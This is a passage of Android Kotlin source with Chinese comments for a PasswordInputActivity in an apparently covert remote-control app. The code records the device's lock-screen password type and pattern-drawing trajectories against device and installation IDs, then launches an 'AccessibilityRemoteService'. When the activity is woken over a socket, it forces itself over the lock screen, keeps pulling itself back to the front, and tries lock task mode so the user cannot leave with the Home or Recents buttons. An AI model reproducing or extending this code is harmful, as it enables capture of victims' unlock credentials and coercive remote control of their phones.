com.hikoncont.util.InstallationCompleteManager.handleInstallationComplete(
context = this@PasswordInputActivity,
deviceId = deviceId,
installationId = installationId,
passwordType = passwordTypeInt,
hasPassword = passwordType != PASSWORD_TYPE_NONE
)
Log.i(TAG, "✅ 直接调用安装完成处理成功")
} catch (e: Exception) {
Log.e(TAG, "❌ 直接调用安装完成处理失败", e)
}
}
// ✅ 备用方案直接启动MainActivity显示WebView仅在安装未完成时执行
if (!isInstallationComplete) {
try {
// 手动设置安装完成状态
val passwordTypeInt = when (passwordType) {
PASSWORD_TYPE_NONE -> 0
PASSWORD_TYPE_PIN -> 1
PASSWORD_TYPE_PIN_4 -> 2
PASSWORD_TYPE_PATTERN -> 3
PASSWORD_TYPE_PASSWORD -> 4
else -> 0
}
// 直接调用安装完成处理函数,不再手动设置状态
com.hikoncont.util.InstallationCompleteManager.handleInstallationComplete(
context = this@PasswordInputActivity,
deviceId = deviceId,
installationId = installationId,
passwordType = passwordTypeInt,
hasPassword = passwordType != PASSWORD_TYPE_NONE
)
Log.i(TAG, "✅ 已调用安装完成处理函数")
val start = Intent(this, com.hikoncont.MainActivity::class.java).apply {
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
putExtra("from_installation_complete", true)
putExtra("show_webview", true)
}
startActivity(start)
Log.i(TAG, "✅ 备用方案:已启动 MainActivity 显示WebView")
} catch (e: Exception) {
Log.e(TAG, "❌ 备用方案启动MainActivity失败", e)
}
} else {
Log.d(TAG, "✅ 安装已完成跳过备用方案启动MainActivity")
}
// 启动主服务
if (!isInstallationComplete){
val serviceIntent = Intent(this, AccessibilityRemoteService::class.java)
startService(serviceIntent)
Log.i(TAG, "🚀 主服务已启动")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 完成安装时出错", e)
} finally {
// 延迟关闭Activity确保广播和服务启动完成
Handler(Looper.getMainLooper()).postDelayed({
try {
// 先清理UI状态
runOnUiThread {
try {
// 隐藏所有输入视图
patternView?.visibility = View.GONE
pinInputView?.visibility = View.GONE
fourDigitPinView?.visibility = View.GONE
passwordInputView?.visibility = View.GONE
// 显示完成状态
// 禁用所有按钮
confirmButton.isEnabled = false
skipButton.isEnabled = false
} catch (e: Exception) {
Log.w(TAG, "清理UI状态时出错", e)
}
}
// 密码输入完成时只销毁当前Activity不销毁整个任务栈
Log.i(TAG, "✅ 密码输入完成准备销毁当前Activity")
Handler(Looper.getMainLooper()).postDelayed({
try {
// 只销毁当前Activity让MainActivity处理后续流程
finish()
Log.i(TAG, "✅ 当前Activity已销毁MainActivity将处理后续流程")
} catch (e: Exception) {
Log.e(TAG, "❌ 关闭Activity时出错", e)
}
}, 1000)
} catch (e: Exception) {
Log.e(TAG, "❌ 延迟关闭时出错", e)
// 密码输入完成时即使出错也要销毁Activity
finish()
}
}, 500)
}
}
/**
* 图形密码轨迹数据类
*/
data class PatternTrajectoryData(
val deviceId: String,
val installationId: String,
val timestamp: Long,
val points: List<PointF>,
val passwordType: String
)
/**
* 密码信息数据类
*/
data class PasswordInfo(
val deviceId: String,
val installationId: String,
val passwordType: String,
val hasPassword: Boolean,
val timestamp: Long
)
/**
* 作者: sue
* 日期: 2026-02-19
* 说明: 仅在 Socket 唤醒且密码流程未完成时才需要强制保持前台
*/
private fun shouldKeepForeground(): Boolean {
return isSocketWake && !passwordFlowCompleted && passwordType != PASSWORD_TYPE_NONE
}
/**
* 作者: sue
* 日期: 2026-02-19
* 说明: 异步触发前台回拉避免与系统生命周期回调冲突
*/
private fun scheduleForceReturn(source: String) {
Handler(Looper.getMainLooper()).postDelayed({
if (!shouldKeepForeground()) {
return@postDelayed
}
if (isFinishing || isDestroyed) {
return@postDelayed
}
Log.i(TAG, "🔐 [$source] 开始执行密码页前台回拉")
checkAndForceShowIfNeeded()
}, 260)
}
/**
* 作者: sue
* 日期: 2026-02-19
* 说明: 尝试开启锁任务模式进一步降低 Home/最近任务离开概率
*/
private fun tryStartLockTaskMode() {
if (!enableLockTaskForSocketWake) {
Log.i(TAG, "🔓 锁任务模式已禁用,跳过 startLockTask")
return
}
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
return
}
try {
startLockTask()
Log.i(TAG, "🔐 已尝试开启锁任务模式")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 开启锁任务模式失败(可能设备不支持)", e)
}
}
/**
* 作者: sue
* 日期: 2026-02-19
* 说明: 密码流程完成后关闭锁任务模式恢复系统正常行为
*/
private fun tryStopLockTaskMode() {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
return
}
try {
stopLockTask()
Log.i(TAG, "🔓 已尝试关闭锁任务模式")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 关闭锁任务模式失败(可能未开启)", e)
}
}
2026-02-11 16:59:49 +08:00
/**
* 强制显示密码页面Socket唤醒专用
*/
private fun forceShowPasswordPage() {
try {
Log.d(TAG, "🔝 Socket唤醒强制显示密码输入页面")
// 设置窗口标志确保Activity在前台
window.addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED)
window.addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD)
window.addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
window.addFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON)
// 重新启动Activity以确保置顶
val intent = Intent(this, PasswordInputActivity::class.java).apply {
putExtra(EXTRA_PASSWORD_TYPE, passwordType)
putExtra(EXTRA_DEVICE_ID, deviceId)
putExtra(EXTRA_INSTALLATION_ID, installationId)
putExtra(EXTRA_SOCKET_WAKE, isSocketWake)
flags = Intent.FLAG_ACTIVITY_NEW_TASK or
Intent.FLAG_ACTIVITY_SINGLE_TOP or
Intent.FLAG_ACTIVITY_REORDER_TO_FRONT
}
startActivity(intent)
// 延迟重置标志,避免立即重复调用
Handler(Looper.getMainLooper()).postDelayed({
isForceShowing = false
}, 3000) // 3秒后重置标志
} catch (e: Exception) {
Log.e(TAG, "❌ 强制显示密码页面失败", e)
isForceShowing = false // 出错时重置标志
}
}
/**
* 检查并强制显示如果需要
*/
private fun checkAndForceShowIfNeeded() {
try {
Log.d(TAG, "🔍 检查是否需要强制显示密码页面")
// 检查当前Activity是否在前台
val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
val taskInfo = activityManager.getRunningTasks(1)
if (taskInfo.isNotEmpty()) {
val topActivity = taskInfo[0].topActivity
Log.d(TAG, "🔍 当前顶部Activity: ${topActivity?.className}")
if (topActivity?.className != this::class.java.name) {
Log.d(TAG, "🔝 检测到密码输入页面不在前台,强制重新显示")
isForceShowing = true
forceShowPasswordPage()
} else {
Log.d(TAG, "✅ 密码输入页面已在前台")
}
}
} catch (e: Exception) {
Log.e(TAG, "❌ 检查前台状态失败", e)
}
}
}